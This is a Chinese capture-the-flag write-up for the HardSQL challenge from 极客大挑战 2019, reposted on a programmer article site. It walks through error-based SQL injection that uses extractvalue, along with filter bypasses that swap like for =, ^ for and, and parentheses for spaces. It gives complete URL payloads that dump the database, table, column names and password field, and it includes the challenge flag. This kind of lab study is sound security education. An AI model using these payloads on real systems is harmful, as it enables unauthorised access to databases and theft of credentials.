欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[极客大挑战 2019]HardSQL wp

程序员文章站 2022-07-16 16:06:04
...

[极客大挑战 2019]HardSQL wp


这道题考察的主要是sql注入的报错注入攻击
首先我们打开页面,是这样的
[极客大挑战 2019]HardSQL wp
依旧试一下万能密码看看
[极客大挑战 2019]HardSQL wp
可以从url看出,sql注入是用的get方式
继续添加单引号发现报错
[极客大挑战 2019]HardSQL wp
常规查表名,没有反应,试一下双写
[极客大挑战 2019]HardSQL wp
依旧没有反应,猜测应该是报错注入,简单测试,发现=,and,空格等都被过滤了,且双写无法绕过, =可以用like代替,and用^代替,空格用()代替
继续我们查数据库,注入

?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database()))))%23

[极客大挑战 2019]HardSQL wp
发现updatexml()函数不能用,我们可以用**extractvalue()代替updatexml()**注入

?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

[极客大挑战 2019]HardSQL wp
爆出数据库geek,继续我们查表名,注入

?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

[极客大挑战 2019]HardSQL wp
爆出表名H4rDsq1,我们继续查字段名,注入

?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

[极客大挑战 2019]HardSQL wp
得到字段名id,username,password,接着我们查password里面的数据,注入

?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,password)))from(geek.H4rDsq1))))%23

[极客大挑战 2019]HardSQL wp
得到flag flag{d47eea54-c6a4-4932-b47a-61,但是仔细看,发现falg不对劲,只有一半,我们用right()函数再继续查,注入

?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,right(password,30))))from(geek.H4rDsq1))))%23

[极客大挑战 2019]HardSQL wp

得到另一半flag4-c6a4-4932-b47a-61153560fead}
最后两半flag拼起来就是正确的flag啦,5u,着实不容易。
最后总结一下,从最开始的万能密码,到常规的union注入,再到双写绕过,到今天的报错注入,sql注入的难度在一步步增加,但是union注入是所有注入类型的基础,完全掌握union注入后,其他类型都只不过是在其基础上增加一些花样而已啦
感谢勤劳的自己heyheyhey~